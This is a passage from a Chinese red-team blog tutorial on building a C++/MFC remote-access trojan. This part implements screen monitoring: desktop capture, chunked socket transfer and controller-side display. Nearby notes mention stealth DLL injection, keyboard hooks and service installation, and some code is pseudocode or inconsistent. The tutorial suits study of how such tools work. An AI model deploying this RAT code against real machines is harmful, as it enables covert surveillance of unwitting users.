• 红队专题-从零开始VC++C/S远程控制软件RAT-MFC-屏幕监控


    在这里插入图片描述

    红队专题

    招募六边形战士队员

    一起学习 代码审计、安全开发、web攻防、逆向等。。。
    私信联系
    在这里插入图片描述

    [24]屏幕监控-(1)屏幕查看与控制技术的讲解

    屏幕监控的流程

    服务端
    while(true)
    {
        获取图像数据();
        //
        发送图像数据();
    }
    
    客户端
    while()
    {
        //
        接受图像数据();
        显示图像();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    查看屏幕的 define 宏信号

    1024*768 分辨率 产生 大小 bmp
    2.25M
    肉眼 每秒24帧

    基本流程:获取图像 — 发送图像 — 显示图像

    实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

    图像压缩算法

    char *p;   // 字符数组 
    int GetScreenSize();
    p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
    p[100] = {aaaccccbbbbbbaeccefsgsdf...};
    
    • 1
    • 2
    • 3
    • 4

    RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
    在这里插入图片描述

    RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
    适用于屏幕数据中存在大量同样数据

    RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

    LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
    解压:根据字典来解压 适用于任何情况

    图像数据转换

    zlib.lib JPEG类(有损压缩)
    1024*768 分辨率
    164kb

    http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
    http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

    CapScreenJpeg JPEG算法

    其他

    隔行扫描算法 屏幕分块获取 屏幕数据判断
    http://www.cctry.com/thread-45471-1-1.html //隔行扫描

    隔行扫描:
    灰鸽子 Delphi
    DRAT Delphi
    Gh0st C++

    LZW:
    Vipshell
    守候远控

    压缩库
    PCShare

    综合使用 + 汇编实现
    1:150 倍

    [25]—屏幕监控(2)查看屏幕的实现

    在这里插入图片描述
    多线程 + 阻塞socket
    1000-2000台
    完成端口
    60000 自由管理

    DLL形式 注入-无进程

    屏幕传输的压缩解压方案

    键盘钩子

    try优化

    定制化远控
    界面
    命令
    传输结构体

    server.cpp  安装服务的操作	
    
    主函数中 入口 注释   保留创建服务 
    int _tmain(int argc, _TCHAR* argv[])
    {
        /*
        SERVICE_TABLE_ENTRY DispatchTable[] =
        {
            //服务程序的名称和入口点
            {(wchar_t*)ServiceName,ServiceMain}, //服务名
            //SERVICE_TABLE_ENTRY结构必须以“NULL”结束
            {NULL,NULL}
        };
        //连接服务控制管理器,开始控制调度程序线程
        StartServiceCtrlDispatcherW(DispatchTable);
        InstallService();
        */
        ::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
        while(true)
        {
            Sleep(10000);
        }
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    创建线程 点击主机Runservice
    子系统 入口点
    //#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )

    有命令行能够显示
    在这里插入图片描述

    添加 CScreen类

    在这里插入图片描述
    在这里插入图片描述

    获取图像

    #include “StdAfx.h”
    #include “Screen.h”
    #include “math.h”

    void CScreen::GetScreen()
    {
        CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象   设备描述表CDC类指针     当前画布的GDI句柄
        CRect rc;   // 定义矩形
        CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
        int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
        int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
        CDC memDC; //定义一个内存画布
        memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
        CBitmap bmp;
        bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
        memDC.SelectObject(&bmp); //选中位图对象
        BITMAP bitmap;
        bmp.GetBitmap(&bitmap);
        panelsize = 0; //记录调色板大小   类成员  double panelsize;
        //需要增加颜色判断算法
        //bitmap.bmBitsPixel = 4; //更改颜色
        if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
        {
            panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
        }
        HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
        pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);  // 结构体 BITMAPINFO *pBMPINFO;
        pBMPINFO->bmiHeader.biBitCount      = bitmap.bmBitsPixel;//4   
        pBMPINFO->bmiHeader.biClrImportant  = 0;
        pBMPINFO->bmiHeader.biCompression   = 0;
        pBMPINFO->bmiHeader.biHeight        = height;
        pBMPINFO->bmiHeader.biPlanes        = bitmap.bmPlanes;
        pBMPINFO->bmiHeader.biSize          = sizeof(BITMAPINFO);   //  位图大小   像素大小 
        pBMPINFO->bmiHeader.biSizeImage     = bitmap.bmWidthBytes*bitmap.bmHeight;
        pBMPINFO->bmiHeader.biWidth         = width;
        pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
        pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
        memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);   //  绘画  
        TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
        pData = new BYTE[TotalSize];     //  压缩发送   类成员 私有变量  无符号指针
        if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
        {
            printf("Return 0\n");
            //delete pData;
            pData = NULL;
            return;
        }
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    声明变量

    
    #include "Common.h"
    #include "MySocket.h"
    
    class CScreen
    {
    private:
        void GetScreen();
        void SendBmpHeaderinfo();
        void SendBmpData();
        BYTE* pData;
        BITMAPINFO *pBMPINFO;  
        CMySocket m_sock;
        UINT TotalSize;
        int HeadTotal;
        double panelsize;
    public:
        HANDLE m_h;
        void CleanData();
        void SendScreenData();
        CScreen(void);
        ~CScreen(void);
        bool flag;
        SOCKET m_sock_screen;   // 初始化获取到的socket 的值
    };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    stdafx.h 头文件处理

    // stdafx.h : 标准系统包含文件的包含文件,
    // 或是经常使用但不常更改的
    // 特定于项目的包含文件
    //
    
    #pragma once
    
    #include <afx.h>
    #include <afxwin.h>   // CDC
    #include "targetver.h"
    
    #include <stdio.h>
    #include <tchar.h>
    
    
    
    // TODO: 在此处引用程序需要的其他头文件
    #include <winsock2.h>
    #include <windows.h>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    [26]—屏幕监控(3)查看屏幕的实现

    不使用算法处理的发送函数

    common定义消息值 (server,client都要定义)

    #define SCREEN 0x0E

    BITMAPINFO结构体

    定义在  common.h
    
    
    typedef struct tagBMPDATA
    {
        BITMAPINFO bmpheadinfo;  // 结构体中包含结构体
        int Id;
        bool Show; 
        int Size;
        int HeadSize;
        UINT Begin;
        BYTE Data[5000];
    }BMPDATA;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述
    指向 bit mapinfo 指针存放的内容
    在这里插入图片描述
    GDi 的定义
    包含
    在这里插入图片描述
    头部
    颜色 数组

    传输消息 用的 通用结构体

    在这里插入图片描述
    可以在这里打印 int值得大小 得知 每次传输数据的大小
    在这里插入图片描述
    结构体的大小
    byte 无符号 字符型
    在这里插入图片描述在这里插入图片描述
    int 4
    1024*5 5120
    5120 +4 * 1024 = 5.0 —> 5k

    发送头信息

    void CScreen::SendBmpHeaderinfo()
    {
        BMPDATA bmpdata;   // 定义结构体
        memset(&bmpdata,0,sizeof(BMPDATA));   // 清空操作
        bmpdata.Id = 0;      //说明它是什么数据
        bmpdata.Show = false;
        bmpdata.Size = TotalSize;
        bmpdata.HeadSize = HeadTotal;
        //memcpy(&bmpdata.bmpinfo,pBMPINFO,HeadTotal);
        memcpy(&bmpdata.bmpheadinfo,pBMPINFO,sizeof(BITMAPINFO));
        
    // 发送结构体
        MSGINFO_S msg;
        memset(&msg,0,sizeof(MSGINFO_S));
        msg.Msg_id = SCREEN;  // 屏幕命令
        memcpy(msg.context,&bmpdata,sizeof(BMPDATA));
    
        m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));    //MySocket 类的成员
    }
    
     
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    m_sock_screen 屏幕传送标识

    定义变量

    ThreadMain.h
    
    
    #include "Screen.h"
    
    class CThreadMain
    {
    private: 
        CScreen m_screen; 
         static DWORD WINAPI SendScreen(LPVOID self);
    }; 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    传递接收的socket
    类似于 cmd 功能 , 内置线程 发送 获取信息

    
    threadMain.cpp
    
    
        case CMDSHELL:
            {
                printf("CmeShell\n");
                m_cmd.Cmd_GetSock(l_Socket);
                ::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
                Sleep(200);
                ::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
            }
            break;
        case SCREEN:
            {
                printf("Screen\n");
                m_screen.m_sock_screen = l_Socket;
                if(strcmp((char*)msg.context,"T") == 0)
                {
                    m_screen.m_h = CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0);
                }
                else
                {
                    m_screen.flag = false;
                    SuspendThread(m_screen.m_h);
                    m_screen.CleanData();
                    ::CloseHandle(m_screen.m_h);
                }
                //::CloseHandle(CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0));
            }
            break;
    
    DWORD WINAPI CThreadMain::SendScreen(LPVOID self)
    {
        CScreen* t = (CScreen*)self;
        t->SendScreenData();
        return 0;
    }
    
    
    
    
    
    
    screen.cpp
    
    void CScreen::CleanData()
    {
        delete pData;
        LocalFree(pBMPINFO);
        pData = NULL;
        pBMPINFO = NULL;
    }
    
    void CScreen::SendScreenData()
    {
        flag = true;
        while(flag)
        {
            GetScreen();
            SendBmpHeaderinfo();
            SendBmpData();
            Sleep(300);
            delete pData;
        }
        printf("ScreenThreadOver\n");
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69

    发送屏幕数据内容

    
    
    
    
    void CScreen::SendBmpData()
    {
        MSGINFO_S msg;
        memset(&msg,0,sizeof(MSGINFO_S));
        msg.Msg_id = SCREEN;
    
        BMPDATA bmpdata;
        memset(&bmpdata,0,sizeof(BMPDATA));
        bmpdata.Id = 1;
        int Count = TotalSize / 512 + 1;   //  需要发送的次数   下面的512都 改成5000
        if(TotalSize % 512 == 0)     //  数据内容体   
        {
            Count = Count - 1;   // 看是否能整除
        }
        bmpdata.Show = false;   // 告诉客户端 是否可以显示图像
        UINT Begin,End;     // 定义标志  结束复制
        End = 512;      // 顶一次到5000
        for(int i=0;i<Count;i++)
        {	
            memset(bmpdata.Data,0,512);  // 清空
            memset(msg.context,0,sizeof(msg.context));   //消息结构体 清空
            Begin = i * 512;   //  begin 开始0
            bmpdata.Begin = Begin;
            if(i == Count - 1)    // 最后一次发送
            {
                bmpdata.Show = true;
                bmpdata.Id = 2;	
                bmpdata.Size = TotalSize;  //总共数据的大小
                for(UINT j=Begin,k=0;j<TotalSize;j++,k++)   // 100-105
                {
                    bmpdata.Data[k] = pData[j];
                }	
            }
            else
            {
                for(UINT j=Begin,k=0;k<512;j++,k++)
                {
                    bmpdata.Data[k] = pData[j];
                }
            }
            //printf("%d\n",i);
            memcpy(msg.context,(char*)&bmpdata,sizeof(BMPDATA));
            m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));
            //发送数据
        }
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    自定义结构体传送原理

    BYTE pData[100];   1024*1024
    MSG msg; //10;
    
    UINT flag = 0;
    
    //int i=0;i<1024*1024;i++
    //  flag--- 5Kb  5*1024
    
    //flag = flag + 5*1024
    for(;;)
    {
        //pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
        //flag = flag + 10
        //send();
    }
    
    
    
    
    
    BYTE pData[105]; 100 - 105    //count + 1 
    MSG msg; //10;
    
    UINT flag = 0;
    
    
    
    
    
    
    //临时结构体     sizeof  结构体大小  532字节  剩余 4588
    typedef struct tagBMPDATA
    {
        //BITMAPINFO bmpinfo;
        int Id;   // 发送次数
        bool Show;
        int Size;
        int HeadSize;
        UINT Begin;  // 开始位置
        BYTE Data[512];   //  512 + 4588 = 5100 sizeof 5120  -->改成 5000
    }BMPDATA;
    
    
    有次数的循环
    数据大小  / 消息结构体的大小
    for(sizeof(pData) / sizeof(msg.context) + 1)
    {									    							       Begin End
        //pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
        //flag = flag + 10
        //send();
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    [27]屏幕监控(4)发送与接收图像信息及客户端显示

    窗口资源 添加screen对话框

    在这里插入图片描述
    修改id
    在这里插入图片描述
    在这里插入图片描述
    修改风格
    在这里插入图片描述

    添加MFC类

    在这里插入图片描述

    添加Command

    主Dlg.cpp
    
    
    
    #define ID_SCREEN       1002
    
    
    
    
    
    BEGIN_MESSAGE_MAP(CExecN0vvDlg, CDialog)
    	ON_WM_PAINT()
    	ON_WM_QUERYDRAGICON()
        //主机消息
        ON_MESSAGE(ID_ONLINE,OnAddHost)
        ON_MESSAGE(ID_OFFLINE,OnOffLine)
        //按钮消息 
        ON_COMMAND(ID_SCREEN,OnScreen) 
    	//}}AFX_MSG_MAP
        ON_WM_SIZE()
        ON_WM_CLOSE()
    END_MESSAGE_MAP()
    
    
    
    
    void CExecN0vvDlg::OnScreen()
    {
        CItemData *t;
        t = GetSelItemInfo();
        if(t == NULL)
        {
            return;
        }
        else
        {
            t->RunToScreen();
        }
    }
    
    
    
    
    CItemData* CxxxxDlg::GetSelItemInfo()
    {
        POSITION pos_s;
        pos_s=m_list.GetFirstSelectedItemPosition();
        if(!pos_s)
        {
    	    return NULL;
        }
        int item=m_list.GetNextSelectedItem(pos_s);
        CItemData *t;
        t = (CItemData*)m_list.GetItemData(item);
        return t;
    }
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    主dlg.h
    
    private:
    	void OnScreen();
    	CItemData* GetSelItemInfo();
    
    • 1
    • 2
    • 3
    • 4
    • 5

    创建节点位置功能 RunToScreen

    //itemData.cpp
    
    
    void CItemData::RunToScreen()
    {
        if(m_screen == NULL)
        {
            m_screen = new CScreen(this,m_sock);
            m_screen->Create(IDD_SCREEN,this);
            m_screen->ShowWindow(SW_NORMAL);
        }
        else
        {
            m_screen->SetActiveWindow();
        }
    }
    
    
    
    //itemData.h 
    #include "Screen.h" 
    class CItemData : public CDialog
    {
    public: 
        void RunToScreen();
        CScreen *m_screen;
    
    
    
    //itemData.cpp
    CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
    { 
       
        m_screen = NULL; 
    }
    
    
    
    
    
    
    
    
    //Screen.h内
    
    
    #include "Common.h"
    #include "MySocket.h"
    
    class CScreen : public CDialog
    {
    	DECLARE_DYNAMIC(CScreen)
    
    public:
    	CScreen(CWnd* pParent = NULL,SOCKET sock = NULL);   // 标准构造函数
    	virtual ~CScreen();
    
    
    
    
    
     
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    // screen.cpp
    
     
    
    
    CScreen::CScreen(CWnd* pParent /*=NULL*/,SOCKET sock)
    	: CDialog(CScreen::IDD, pParent)
    {
        m_sock = sock;
    }
    
    
    
    
    //screen.h
     
    private:
        SOCKET m_sock;
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    stdafx.h
    
    #include "Resource.h"
    
    // 因为里面有 #define IDD_SCREEN                      190
    
    • 1
    • 2
    • 3
    • 4
    • 5

    窗口关闭

    在这里插入图片描述

     void CScreen::OnClose()
    {
        // TODO: 在此添加消息处理程序代码和/或调用默认值
    
        //CDialog::OnClose();
        MSGINFO msg;
        memset(&msg,0,sizeof(MSGINFO));
        msg.Msg_id = SCREEN;
        strcpy_s((char*)msg.context,2,"F");
        m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
    
        ((CItemData*)this->m_pParentWnd)->m_screen = NULL;
        DestroyWindow();
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    // screen.h
    
    class CScreen : public CDialog
    {  
    private: 
    	CMySocket m_Mysock; 
    };
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    // screen.cpp
    
    #include "ItemData.h"
    
    • 1
    • 2
    • 3

    重载 防止意外退出函数

    在这里插入图片描述

    // screen.cpp
    BOOL CScreen::PreTranslateMessage(MSG* pMsg)
    {
        // TODO: 在此添加专用代码和/或调用基类
        if(pMsg->message==WM_KEYDOWN)
        {
            int nVirtKey = (int)pMsg->wParam;
            if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
            {
                return TRUE;
            }
        }
        return CDialog::PreTranslateMessage(pMsg);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    数据id

     
    // Itemdata.cpp
    
                switch(msg.Msg_id)
                {
                case SYSINFO:
                    {
                        SYSTEMINFO systeminfo;
                        memset(&systeminfo,0,sizeof(SYSTEMINFO));
                        memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
                        GetSysVer(systeminfo);
                        ::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
                    }
                    break;
           
                case SCREEN:
                    {
                        if(m_screen == NULL)
                        {
                            break;
                        }
                        BMPDATA bmpdata;
                        memset(&bmpdata,0,sizeof(BMPDATA));
                        memcpy(&bmpdata,msg.context,sizeof(BMPDATA));
                        m_screen->GetScreen(bmpdata);
                    }
                    break;
                default:
                    {
                        MessageBox(_T("获取消息ID错误"),_T("错误"),MB_OK|MB_ICONWARNING);
                    }
                
                }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    在这里插入代码片
    
    • 1

    GetScreen 获取图像函数

    client 的  common.h 引入结构体
    typedef struct tagBMPDATA
    {
        BITMAPINFO bmpheadinfo;
        int Id;
        bool Show; //是否可以显示图像
        int Size;
        int HeadSize;
        UINT Begin;
        BYTE Data[5000];
    }BMPDATA;
    
     
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    //screen.h
    public:
        void GetScreen(BMPDATA bmpdata);
    
    • 1
    • 2
    • 3
    // screen.cpp
    
    void CScreen::GetScreen(BMPDATA bmpdata) //显示图像	
    {
        //BMPDATA bmpdata;
        //memcpy(&bmpdata,&bmpdata_s,sizeof(BMPDATA));
        switch(bmpdata.Id)
        {
        case 0:  // 头信息
            {
                pBInfo = (BITMAPINFO*)LocalAlloc(LPTR,bmpdata.HeadSize);
                memcpy(pBInfo,&bmpdata.bmpinfo,bmpdata.HeadSize);
                pData = new BYTE[bmpdata.Size];
                memset(pData,0,bmpdata.Size);
            }
            break;
        case 1:  // 位图信息
            {
                //复制数据
                for(int i=bmpdata.Begin,j=0;j<512;i++,j++)
                {
                    pData[i] = bmpdata.Data[j];
                }
            }
            break;
        case 2:  // 最后一次发送的图像数据
            {
                //最后一次复制数据
                for(int i=bmpdata.Begin,j=0;i<bmpdata.Size;i++,j++)
                {
                    pData[i] = bmpdata.Data[j];
                }
            }
            break;
        default:
            {
                MessageBox(_T("未知的图像数据ID"),_T("提示"),MB_OK);
                delete[] pData;
                LocalFree(pBInfo);
                return;
            }
        }
        //判断传送完以后是否可以显示图像
        if(bmpdata.Show)
        {
            SCROLLINFO hStructure,vStructure;
            memset(&hStructure,0,sizeof(SCROLLINFO));
            memset(&vStructure,0,sizeof(SCROLLINFO));
            hStructure.cbSize = sizeof(SCROLLINFO);
            vStructure.cbSize = sizeof(SCROLLINFO);
            //获取滚动条的位置,根据位置绘制图像
            GetScrollInfo(SB_HORZ, &hStructure);
            GetScrollInfo(SB_VERT, &vStructure);
    
            CRect rc1;
    	    GetClientRect(&rc1);
            ::StretchDIBits(GetDC()->m_hDC,  // 显示图像
            0,
            31,
            pBInfo->bmiHeader.biWidth,
            pBInfo->bmiHeader.biHeight,
            hStructure.nPos,
            -vStructure.nPos,
            pBInfo->bmiHeader.biWidth,
            pBInfo->bmiHeader.biHeight,
            pData, //位图数据
            pBInfo, //BITMAPINFO 位图信息头
            DIB_RGB_COLORS,
            SRCCOPY
            );
    
    // 设置当前滚动条位置
    
            hStructure.fMask		= SIF_ALL;
            hStructure.nMin			= 0;
            //hStructure.nMax			= bitmap.bmWidth;
            hStructure.nMax			= pBInfo->bmiHeader.biWidth;
            hStructure.nPage		= rc1.right;
            SetScrollInfo(SB_HORZ, &hStructure);
    
            vStructure.fMask		= SIF_ALL;
            vStructure.nMin			= 0;
            //vStructure.nMax			= bitmap.bmHeight + 31;
            vStructure.nMax			= pBInfo->bmiHeader.biHeight + 31;
            vStructure.nPage		= rc1.bottom;
            SetScrollInfo(SB_VERT, &vStructure);
    
            delete []pData;
            LocalFree(pBInfo);
            pData = NULL;
            pBInfo = NULL;
        }
        return;
    }
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97

    [28]屏幕监控(5)发送与接收图像信息

    客户端的CScreen中添加公共数据 (位图头,位图数据)

    
    // screen.h
    
    
        BYTE *pData; //屏幕数据   无符号 char 型
        BITMAPINFO *pBInfo; //位图头指针
        BMPDATA bmpdata_t;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    改写结构体的大小 宏5000的大小
    修改发送函数

    数据传递流程分析

    服务端

    threadmain case screen -> 复制socket -> 创建新线程 -> 发送数据

    客户端

    itemdata case SCREEN -> getscreen() 数据处理 保存在类的公共变量-> 最后一次传输 show 显示
    5064 结构体体积

    传送信息指令

    
    // screen.cpp
    BOOL CScreen::OnInitDialog()
    {
        CDialog::OnInitDialog();
    
        // TODO:  在此添加额外的初始化
        MSGINFO msg;
        memset(&msg,0,sizeof(MSGINFO));
        msg.Msg_id = SCREEN;
        strcpy_s((char*)msg.context,2,"T");
        m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
        return TRUE;  // return TRUE unless you set the focus to a control
        // 异常: OCX 属性页应返回 FALSE
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    // screen.h
    
    public:
        afx_msg void OnClose();
        virtual BOOL PreTranslateMessage(MSG* pMsg);
        virtual BOOL OnInitDialog();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    图像信息不完整
    客户端接收时 发现漏掉了

    // screen.cpp
    
        case 1: //位图数据
            {
                //复制数据
                for(int i=bmpdata.Begin,j=0;j<5000;i++,j++)
                {
                    pData[i] = bmpdata.Data[j];
                }
            }
            break;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

    [29]屏幕监控(6)滚动条设置与清除剩余数据

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    添加滚动条消息

    在这里插入图片描述

    void CScreen::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
    {
        // TODO: 在此添加消息处理程序代码和/或调用默认值
        if(nSBCode != SB_ENDSCROLL)	
    	{
    		SCROLLINFO vStructure;
    		GetScrollInfo(SB_VERT, &vStructure);  // 获取滚动条的信息
    		vStructure.nPos		= nPos;
    		SetScrollInfo(SB_VERT, &vStructure);
    	}
        CDialog::OnVScroll(nSBCode, nPos, pScrollBar);
    }
    
    void CScreen::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
    {
        // TODO: 在此添加消息处理程序代码和/或调用默认值
        if(nSBCode != SB_ENDSCROLL)	
    	{
    		SCROLLINFO hStructure;
    		GetScrollInfo(SB_HORZ, &hStructure);
